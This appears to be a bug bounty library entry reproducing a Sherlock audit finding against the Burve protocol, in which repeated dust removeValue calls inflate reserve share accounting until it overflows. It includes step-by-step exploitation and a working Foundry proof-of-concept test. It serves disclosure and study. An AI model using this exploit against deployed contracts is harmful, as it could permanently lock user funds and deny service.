# Reserve Share Overflows Due to Too Strict Reward Calculation Mechanism

Repeated tiny removeValue calls make trimBalance deposit dust into reserve, inflating reserve.shares via division by near-zero balance until overflow bricks accounting.

- Payout: Audit contest
- Severity: high
- Program: Burve
- Found by: TessKimy
- Disclosed: 2025-04-17
- Write-up quality: 6/10
- Original: https://github.com/sherlock-audit/2025-04-burve-judging/issues/452
- Library page: https://bugbountylibrary.com/r/sherlock%3A2025-04-burve%3AH-9
- Tags: area:web3 domain:web3 impact:dos impact:integrity kind:contest platform:sherlock sev:high tech:evm tech:solidity technique:source-review vuln:accounting-error vuln:dos vuln:share-inflation

**Target:** Vertex reserve share accounting / trimBalance deposit path
**Root cause:** ReserveLib.deposit mints shares as amount*reserve.shares[idx]/balance; when balance is near zero and amount is tiny nonzero dust, shares inflate rapidly. No lower bound on residual deposit amount.
**Steps:**
1. Deploy diamond with USDC/DAI vertices and closure 0x0003
2. Whale addValue 2_000_000e18 to seed reserve
3. Bob addValue 450, then DAI.transfer(dai_vault, 4) to skew vault balance
4. Loop 450x: bob removeValue(1,0) to trigger trimBalance dust deposits into reserve
5. Whale removeValue(2_000_000e18) reverts with arithmetic overflow (0x11) as reserve.shares overflows
**How found:** Noticed trimBalance passes residualReal - bgtResidual to ReserveLib.deposit without a minimum threshold; reasoned that near-zero balance with tiny amount causes share inflation, then built PoC with direct vault transfer to skew balance and dust removeValue loop.
**Exploitation:** Attacker with small capital skews vault balance by direct transfer, then repeatedly calls removeValue with dust amounts so trimBalance deposits tiny residuals; each deposit mints disproportionate shares due to near-zero balance divisor, compounding until reserve.shares overflows and all trim/deposit paths revert, bricking the closure.
**Escalation:** Repeated dust trims amplify share inflation exponentially; final overflow makes trimBalance and dependent functions permanently revert, DoS-ing the closure.
**Insight:** When a share-mint formula divides by current balance, look for any path that lets an attacker push balance near zero (even via direct token transfer to the vault) while still triggering a nonzero deposit; dust-sized deposits then mint outsized shares.

## Proof of concept (copied exactly from the original report)

**Foundry PoC test causing reserve share overflow**

```
function testReserve() public {
        address bob = address(0xB0B);
        address whale = address(0x11);

        deal(address(USDC), bob, 1_000_000e6);
        deal(address(DAI), bob, 1_000_000e18);
        deal(address(USDC), whale, 10_000_000e6);
        deal(address(DAI), whale, 10_000_000e18);
        vm.startPrank(whale);

        USDC.approve(diaA, type(uint256).max);
        DAI.approve(diaA, type(uint256).max);
        
        string memory addValueSignature = "addValue(address,uint16,uint128,uint128)";
        bytes memory addValue1Million = abi.encode(whale, _cid, 2_000_000e18, 0);

        (bool sc5, bytes memory d5) = diaA.call(encodeCall(addValueSignature, addValue1Million));
        assert(sc5);

        vm.startPrank(bob);

        USDC.approve(diaA, type(uint256).max);
        DAI.approve(diaA, type(uint256).max);

        bytes memory addValue450 = abi.encode(bob, _cid, 450, 0);

        (bool sc, bytes memory d) = diaA.call(encodeCall(addValueSignature, addValue450));

        assert(sc);
        DAI.transfer(address(dai_vault), 4);

        console.log("\nRemove value part");

        for(uint256 i = 0; i < 450; i++){
            console.log("\n\n");
            string memory removeValueSignature = "removeValue(address,uint16,uint128,uint128)";
            bytes memory removeValueDust = abi.encode(bob, _cid, 1, 0);

            (bool sc2, bytes memory d2) = diaA.call(encodeCall(removeValueSignature, removeValueDust));
            // Don't need to check success, most probably it will revert 
            // for some of them but it doesn't matter
        }
        

        vm.stopPrank();

        vm.startPrank(whale);
        
        string memory removeValueSignature = "removeValue(address,uint16,uint128,uint128)";
        bytes memory removeValue1million = abi.encode(whale, _cid, 2_000_000e18, 0);

        (bool sc3, bytes memory d3) = diaA.call(encodeCall(removeValueSignature, removeValue1million));
        assert(sc3);
        

    }
}
```

**ReserveLib deposit share calculation with console logs**

```
shares = (balance == 0)
    ? amount * SHARE_RESOLUTION
    : (amount * reserve.shares[idx]) / balance;

When `amount > 0` but `balance ≈ 0`, the share calculation becomes:

$$
\text{shares} = \frac{\text{amount} \cdot \text{reserve.shares[idx]}}{\text{balance}} \rightarrow \text{inflates rapidly}
$$

This allows the attacker to:

1. Induce tiny residuals repeatedly using trim cycles.
2. Cause share minting to diverge and grow exponentially due to division by near-zero balances.
3. Eventually **overflow the `reserve.shares[idx]` counter**, destabilizing reserve logic.


### Internal Pre-conditions

No need

### External Pre-conditions

No need

### Attack Path

Attack is very easy to understand in PoC

### Impact

* **Total share overflow**, leading to irreversible corruption of internal accounting.
* **Silent amplification** through repeated small trims — no reverts occur due to the design relying on best-effort balance corrections.

Because the rounding behavior does not revert, the issue can be triggered with minimal input. It reverts on trim balance calls. Therefore, none of the function can work anymore because it will always fail when we try to deposit that balance to reserve.

### PoC

You can test it by following PoC test with full setup
For better visibility add console.log to ReserveLib::deposit function

        shares = (balance == 0) 
            ? amount * SHARE_RESOLUTION 
            : (amount * reserve.shares[idx]) / balance; 
        console.log("Reserve shares: ", shares);
        reserve.shares[idx] += shares; 
        console.log("Reserve shares total: ", reserve.shares[idx])
```

